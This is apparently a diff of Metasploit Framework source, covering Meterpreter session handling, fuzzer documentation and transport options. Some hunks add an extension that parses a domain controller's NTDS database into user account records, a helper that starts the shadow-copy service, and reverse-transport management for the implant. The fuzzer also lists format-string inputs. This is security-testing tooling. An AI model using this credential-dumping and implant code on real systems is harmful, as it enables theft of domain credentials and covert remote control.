||||||
|
# Make sure our data isn't all Null-bytes
|
||||||
|
if raw_data.match(/[^\x00]/)
|
||||||
|
account = Metasploit::Framework::NTDS::Account.new(raw_data)
|
||||||
|
yield account
|
||||||
|
end
|
||||||
|
end
|
||||||
|
raw_batch_data = pull_batch
|
||||||
|
end
|
||||||
|
channel.close
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def pull_batch
|
||||||
|
if channel.cid.nil?
|
||||||
|
reopen_channel
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
raw_batch_data = channel.read(BATCH_SIZE)
|
||||||
|
rescue EOFError
|
||||||
|
raw_batch_data = nil
|
||||||
|
end
|
||||||
|
raw_batch_data
|
||||||
|
end
|
||||||
|
|
||||||
|
def reopen_channel
|
||||||
|
@channel = client.extapi.ntds.parse(file_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -319,15 +319,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
def update_session_info
|
||||||
# Populate the session information.
|
|
||||||
#
|
|
||||||
# Also reports a session_fingerprint note for host os normalization.
|
|
||||||
#
|
|
||||||
def load_session_info()
|
|
||||||
begin
|
|
||||||
::Timeout.timeout(60) do
|
|
||||||
# Gather username/system information
|
|
||||||
username = self.sys.config.getuid
|
username = self.sys.config.getuid
|
||||||
sysinfo = self.sys.config.sysinfo
|
sysinfo = self.sys.config.sysinfo
|
||||||
|
|
||||||
|
@ -338,6 +330,17 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
# showing up in various places in the UI.
|
# showing up in various places in the UI.
|
||||||
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
|
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
|
||||||
self.info = safe_info
|
self.info = safe_info
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Populate the session information.
|
||||||
|
#
|
||||||
|
# Also reports a session_fingerprint note for host os normalization.
|
||||||
|
#
|
||||||
|
def load_session_info
|
||||||
|
begin
|
||||||
|
::Timeout.timeout(60) do
|
||||||
|
update_session_info
|
||||||
|
|
||||||
hobj = nil
|
hobj = nil
|
||||||
|
|
||||||
|
|
|
@ -19,6 +19,13 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
|
||||||
self.platform = 'java/android'
|
self.platform = 'java/android'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def load_android
|
||||||
|
original = console.disable_output
|
||||||
|
console.disable_output = true
|
||||||
|
console.run_single('load android')
|
||||||
|
console.disable_output = original
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -13,7 +13,7 @@ module MeterpreterOptions
|
||||||
[
|
[
|
||||||
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
|
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
|
||||||
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
|
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
|
||||||
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 10]),
|
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]),
|
||||||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
||||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
||||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||||
|
@ -65,6 +65,12 @@ module MeterpreterOptions
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if session.platform =~ /android/i
|
||||||
|
if datastore['AutoLoadAndroid']
|
||||||
|
session.load_android
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||||
if (datastore[key].empty? == false)
|
if (datastore[key].empty? == false)
|
||||||
args = Shellwords.shellwords( datastore[key] )
|
args = Shellwords.shellwords( datastore[key] )
|
||||||
|
|
|
@ -8,9 +8,7 @@ module Msf
|
||||||
###
|
###
|
||||||
module Auxiliary::Fuzzer
|
module Auxiliary::Fuzzer
|
||||||
|
|
||||||
#
|
|
||||||
# Creates an instance of a fuzzer module
|
|
||||||
#
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
|
@ -20,9 +18,12 @@ module Auxiliary::Fuzzer
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Will return or yield numbers based on the presence of a block.
|
||||||
#
|
#
|
||||||
# Self-reflective iterators
|
# @return [Array<Array>] Returns an array of arrays of numbers if there is no block given
|
||||||
#
|
# @yield [Array<Fixnum>] Yields an array of numbers if there is a block given
|
||||||
|
# @see #fuzzer_number_power2
|
||||||
|
|
||||||
def fuzz_numbers
|
def fuzz_numbers
|
||||||
res = []
|
res = []
|
||||||
self.methods.sort.grep(/^fuzzer_number/).each do |m|
|
self.methods.sort.grep(/^fuzzer_number/).each do |m|
|
||||||
|
@ -32,6 +33,12 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Will return or yield a string based on the presense of a block
|
||||||
|
#
|
||||||
|
# @return [Array] Returns and array of arrays of strings if there is no block given
|
||||||
|
# @yield [Array] Yields array of strings if there is a block given
|
||||||
|
|
||||||
def fuzz_strings
|
def fuzz_strings
|
||||||
res = []
|
res = []
|
||||||
self.methods.sort.grep(/^fuzzer_string/).each do |m|
|
self.methods.sort.grep(/^fuzzer_string/).each do |m|
|
||||||
|
@ -41,11 +48,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Modifies each byte of the string from beginning to end, packing each element as an 8 bit character.
|
||||||
#
|
#
|
||||||
# General input mangling routines
|
# @returns [Array] Returns an array of an array of strings
|
||||||
#
|
# @see #fuzzer_string_format
|
||||||
|
|
||||||
# Modify each byte of the string moving forward
|
|
||||||
def fuzz_string_corrupt_byte(str,max=nil)
|
def fuzz_string_corrupt_byte(str,max=nil)
|
||||||
res = []
|
res = []
|
||||||
0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset|
|
0.upto(max ? [max,str.length-1].min : (str.length - 1)) do |offset|
|
||||||
|
@ -59,7 +66,12 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
# Modify each byte of the string moving backward
|
# Modifies each byte of the string from beginning to end, packing each element as an 8 bit character.
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# @returns [Array] Returns an array of an array of strings
|
||||||
|
# @see fuzzer_string_format
|
||||||
|
|
||||||
def fuzz_string_corrupt_byte_reverse(str,max=nil)
|
def fuzz_string_corrupt_byte_reverse(str,max=nil)
|
||||||
res = []
|
res = []
|
||||||
(max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset|
|
(max ? [max,str.length-1].min : (str.length - 1)).downto(0) do |offset|
|
||||||
|
@ -73,20 +85,29 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Useful generators (many derived from AxMan)
|
# Useful generators (many derived from AxMan)
|
||||||
#
|
#
|
||||||
|
# @returns [Array] Returns and array of strings.
|
||||||
|
|
||||||
def fuzzer_string_format
|
def fuzzer_string_format
|
||||||
res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f}
|
res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f}
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Reserved filename array
|
||||||
|
# Useful generators (many derived from AxMan)
|
||||||
|
#
|
||||||
|
# @returns [Array] Returns and array of reserved filenames in Windows.
|
||||||
|
|
||||||
def fuzzer_string_filepath_dos
|
def fuzzer_string_filepath_dos
|
||||||
res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn }
|
res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn }
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Fuzzer Numbers by Powers of Two
|
||||||
|
#
|
||||||
|
# @returns [Array] Returns an array with pre-set values
|
||||||
|
|
||||||
def fuzzer_number_power2
|
def fuzzer_number_power2
|
||||||
res = [
|
res = [
|
||||||
0x100000000,
|
0x100000000,
|
||||||
|
@ -105,6 +126,10 @@ module Auxiliary::Fuzzer
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Powers of two by some fuzzing factor.
|
||||||
|
#
|
||||||
|
# @returns [Array] Returns and array of integers.
|
||||||
|
|
||||||
def fuzzer_number_power2_plus
|
def fuzzer_number_power2_plus
|
||||||
res = []
|
res = []
|
||||||
fuzzer_number_power2 do |num|
|
fuzzer_number_power2 do |num|
|
||||||
|
@ -119,6 +144,11 @@ module Auxiliary::Fuzzer
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Generates a fuzz string
|
||||||
|
# If no block set, will retrive characters from the FuzzChar datastore option
|
||||||
|
#
|
||||||
|
# @return [String] Returns a string of size 1024 * 512 specified by the user
|
||||||
|
|
||||||
def fuzzer_gen_string(len)
|
def fuzzer_gen_string(len)
|
||||||
@gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512)
|
@gen_string_block ||= datastore['FuzzChar'][0,1] * (1024 * 512)
|
||||||
res = ''
|
res = ''
|
||||||
|
@ -128,6 +158,9 @@ module Auxiliary::Fuzzer
|
||||||
res[0,len]
|
res[0,len]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Creates a smaller fuzz string starting from length 16 -> 512 bytes long
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of characters
|
||||||
def fuzzer_string_small
|
def fuzzer_string_small
|
||||||
res = []
|
res = []
|
||||||
16.step(512,16) do |len|
|
16.step(512,16) do |len|
|
||||||
|
@ -137,6 +170,9 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Creates a longer fuzz string from length 64 -> 8192 bytes long
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of characters
|
||||||
def fuzzer_string_long
|
def fuzzer_string_long
|
||||||
res = []
|
res = []
|
||||||
64.step(8192,64) do |len|
|
64.step(8192,64) do |len|
|
||||||
|
@ -147,6 +183,9 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Creates a giant fuzz string from length 512 -> 131,064 bytes long
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of characters
|
||||||
def fuzzer_string_giant
|
def fuzzer_string_giant
|
||||||
res = []
|
res = []
|
||||||
512.step(65532 * 2, 512) do |len|
|
512.step(65532 * 2, 512) do |len|
|
||||||
|
@ -157,6 +196,9 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Various URI types
|
||||||
|
#
|
||||||
|
# @returns [Array] Returns an array of strings
|
||||||
def fuzzer_string_uri_types
|
def fuzzer_string_uri_types
|
||||||
res = %W{
|
res = %W{
|
||||||
aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid
|
aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid
|
||||||
|
@ -174,16 +216,28 @@ module Auxiliary::Fuzzer
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Generator for common URI dividers
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of strings
|
||||||
|
|
||||||
def fuzzer_string_uri_dividers
|
def fuzzer_string_uri_dividers
|
||||||
res = %W{ : :// }
|
res = %W{ : :// }
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Generator for common path prefixes
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of strings
|
||||||
|
|
||||||
def fuzzer_string_path_prefixes
|
def fuzzer_string_path_prefixes
|
||||||
res = %W{ C:\\ \\\\localhost\\ / }
|
res = %W{ C:\\ \\\\localhost\\ / }
|
||||||
block_given? ? res.each { |n| yield(n) } : res
|
block_given? ? res.each { |n| yield(n) } : res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Generates various small URI string types
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_uris_small
|
def fuzzer_string_uris_small
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_uri_types do |proto|
|
fuzzer_string_uri_types do |proto|
|
||||||
|
@ -197,6 +251,10 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Generates various long URI string types
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_uris_long
|
def fuzzer_string_uris_long
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_uri_types do |proto|
|
fuzzer_string_uri_types do |proto|
|
||||||
|
@ -210,6 +268,10 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Generates various giant URI string types
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_uris_giant
|
def fuzzer_string_uris_giant
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_uri_types do |proto|
|
fuzzer_string_uri_types do |proto|
|
||||||
|
@ -223,6 +285,10 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Format for the URI string generator
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_uris_format
|
def fuzzer_string_uris_format
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_uri_types do |proto|
|
fuzzer_string_uri_types do |proto|
|
||||||
|
@ -236,6 +302,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generates various small strings
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_uris_dos
|
def fuzzer_string_uris_dos
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_uri_types do |proto|
|
fuzzer_string_uri_types do |proto|
|
||||||
|
@ -249,6 +320,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generates various small strings
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_paths_small
|
def fuzzer_string_paths_small
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_path_prefixes do |pre|
|
fuzzer_string_path_prefixes do |pre|
|
||||||
|
@ -260,6 +336,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generates various small strings
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_paths_long
|
def fuzzer_string_paths_long
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_path_prefixes do |pre|
|
fuzzer_string_path_prefixes do |pre|
|
||||||
|
@ -271,6 +352,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generates various giant strings
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_paths_giant
|
def fuzzer_string_paths_giant
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_path_prefixes do |pre|
|
fuzzer_string_path_prefixes do |pre|
|
||||||
|
@ -282,6 +368,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Format for the path generator
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_paths_format
|
def fuzzer_string_paths_format
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_path_prefixes do |pre|
|
fuzzer_string_path_prefixes do |pre|
|
||||||
|
@ -293,6 +384,11 @@ module Auxiliary::Fuzzer
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Generates fuzzer strings using path prefixes
|
||||||
|
#
|
||||||
|
# @return [Array] Returns an array of stings
|
||||||
|
|
||||||
def fuzzer_string_paths_dos
|
def fuzzer_string_paths_dos
|
||||||
res = []
|
res = []
|
||||||
fuzzer_string_path_prefixes do |pre|
|
fuzzer_string_path_prefixes do |pre|
|
||||||
|
|
|
@ -142,8 +142,16 @@ module Msf::DBManager::Web
|
||||||
page.cookie = opts[:cookie] if opts[:cookie]
|
page.cookie = opts[:cookie] if opts[:cookie]
|
||||||
page.auth = opts[:auth] if opts[:auth]
|
page.auth = opts[:auth] if opts[:auth]
|
||||||
page.mtime = opts[:mtime] if opts[:mtime]
|
page.mtime = opts[:mtime] if opts[:mtime]
|
||||||
page.ctype = opts[:ctype] if opts[:ctype]
|
|
||||||
|
|
||||||
|
if opts[:ctype].blank? || opts[:ctype] == [""]
|
||||||
|
page.ctype = ""
|
||||||
|
else
|
||||||
|
page.ctype = opts[:ctype]
|
||||||
|
end
|
||||||
|
|
||||||
page.location = opts[:location] if opts[:location]
|
page.location = opts[:location] if opts[:location]
|
||||||
|
|
||||||
msf_import_timestamps(opts, page)
|
msf_import_timestamps(opts, page)
|
||||||
page.save!
|
page.save!
|
||||||
|
|
||||||
|
|
|
@ -13,6 +13,11 @@ module FileInfo
|
||||||
num & 0xffff
|
num & 0xffff
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# File Version
|
||||||
|
# @param [String] filepath The path of the file you are targeting
|
||||||
|
#
|
||||||
|
# @return [String] Returns the file version of target
|
||||||
|
|
||||||
def file_version(filepath)
|
def file_version(filepath)
|
||||||
file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA(
|
file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA(
|
||||||
filepath,
|
filepath,
|
||||||
|
|
|
@ -182,6 +182,25 @@ module ShadowCopy
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
unless start_swprv
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
def start_swprv
|
||||||
|
vss_state = wmic_query('Service where(name="swprv") get state')
|
||||||
|
if vss_state=~ /Running/
|
||||||
|
print_status("Software Shadow Copy service is running.")
|
||||||
|
else
|
||||||
|
print_status("Software Shadow Copy service not running. Starting it now...")
|
||||||
|
if service_restart("swprv", START_TYPE_MANUAL)
|
||||||
|
print_good("Software Shadow Copy started successfully.")
|
||||||
|
else
|
||||||
|
print_error("Insufficient Privs to start service!")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -16,8 +16,6 @@ class JSONHashFile
|
||||||
@lock = Mutex.new
|
@lock = Mutex.new
|
||||||
@hash = {}
|
@hash = {}
|
||||||
@last = 0
|
@last = 0
|
||||||
::FileUtils.mkdir_p(::File.dirname(path))
|
|
||||||
synced_update
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def [](k)
|
def [](k)
|
||||||
|
@ -53,6 +51,7 @@ private
|
||||||
# Save the file, but prevent thread & process contention
|
# Save the file, but prevent thread & process contention
|
||||||
def synced_update(&block)
|
def synced_update(&block)
|
||||||
@lock.synchronize do
|
@lock.synchronize do
|
||||||
|
::FileUtils.mkdir_p(::File.dirname(path))
|
||||||
::File.open(path, ::File::RDWR|::File::CREAT) do |fd|
|
::File.open(path, ::File::RDWR|::File::CREAT) do |fd|
|
||||||
fd.flock(::File::LOCK_EX)
|
fd.flock(::File::LOCK_EX)
|
||||||
|
|
||||||
|
@ -81,7 +80,6 @@ private
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def parse_data(data)
|
def parse_data(data)
|
||||||
return {} if data.to_s.strip.length == 0
|
return {} if data.to_s.strip.length == 0
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -320,9 +320,20 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# Normalise the format of the incoming machine id so that it's consistent
|
# Normalise the format of the incoming machine id so that it's consistent
|
||||||
# regardless of case and leading/trailing spaces. This means that the
|
# regardless of case and leading/trailing spaces. This means that the
|
||||||
# individual meterpreters don't have to care
|
# individual meterpreters don't have to care.
|
||||||
mid.downcase!.strip! if mid
|
|
||||||
return Rex::Text.md5(mid)
|
# Note that the machine ID may be blank or nil and that is OK
|
||||||
|
Rex::Text.md5(mid.to_s.downcase.strip)
|
||||||
|
end
|
||||||
|
|
||||||
|
def transport_remove(opts={})
|
||||||
|
request = transport_prepare_request('core_transport_remove', opts)
|
||||||
|
|
||||||
|
return false unless request
|
||||||
|
|
||||||
|
client.send_request(request)
|
||||||
|
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_add(opts={})
|
def transport_add(opts={})
|
||||||
|
@ -648,8 +659,14 @@ class ClientCore < Extension
|
||||||
|
|
||||||
# do more magic work for http(s) payloads
|
# do more magic work for http(s) payloads
|
||||||
unless opts[:transport].ends_with?('tcp')
|
unless opts[:transport].ends_with?('tcp')
|
||||||
|
if opts[:uri]
|
||||||
|
url << '/' unless opts[:uri].start_with?('/')
|
||||||
|
url << opts[:uri]
|
||||||
|
url << '/' unless opts[:uri].end_with?('/')
|
||||||
|
else
|
||||||
sum = uri_checksum_lookup(:connect)
|
sum = uri_checksum_lookup(:connect)
|
||||||
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
|
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
|
||||||
|
end
|
||||||
|
|
||||||
# TODO: randomise if not specified?
|
# TODO: randomise if not specified?
|
||||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||||
|
|
|
@ -5,6 +5,7 @@ require 'rex/post/meterpreter/extensions/extapi/window/window'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/service/service'
|
require 'rex/post/meterpreter/extensions/extapi/service/service'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
|
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
|
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
|
||||||
|
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
|
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
@ -34,6 +35,7 @@ class Extapi < Extension
|
||||||
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
|
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
|
||||||
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
|
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
|
||||||
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
|
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
|
||||||
|
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
|
||||||
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
|
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
|
||||||
})
|
})
|
||||||
},
|
},
|
||||||
|
|
|
@ -0,0 +1,39 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Extapi
|
||||||
|
module Ntds
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This meterpreter extension contains extended API functions for
|
||||||
|
# parsing the NT Directory Service database.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Ntds
|
||||||
|
|
||||||
|
def initialize(client)
|
||||||
|
@client = client
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse(filepath)
|
||||||
|
request = Packet.create_request('extapi_ntds_parse')
|
||||||
|
request.add_tlv( TLV_TYPE_NTDS_PATH, filepath)
|
||||||
|
# wait up to 90 seconds for a response
|
||||||
|
response = client.send_request(request, 90)
|
||||||
|
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
|
||||||
|
if channel_id.nil?
|
||||||
|
raise Exception, "We did not get a channel back!"
|
||||||
|
end
|
||||||
|
Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS)
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :client
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end; end; end; end; end; end
|
||||||
|
|
|
@ -72,6 +72,9 @@ TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E
|
||||||
TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
|
TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
|
||||||
TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
|
TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
|
||||||
|
|
||||||
|
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
|
||||||
|
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
|
||||||
|
|
||||||
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
|
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
|
||||||
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
|
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
|
||||||
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)
|
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)
|
||||||
|
|
|
@ -543,12 +543,13 @@ class Console::CommandDispatcher::Core
|
||||||
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
|
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
|
||||||
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
|
'-l' => [ true, 'LHOST parameter (for reverse transports)' ],
|
||||||
'-p' => [ true, 'LPORT parameter' ],
|
'-p' => [ true, 'LPORT parameter' ],
|
||||||
'-ua' => [ true, 'User agent for http(s) transports (optional)' ],
|
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
|
||||||
'-ph' => [ true, 'Proxy host for http(s) transports (optional)' ],
|
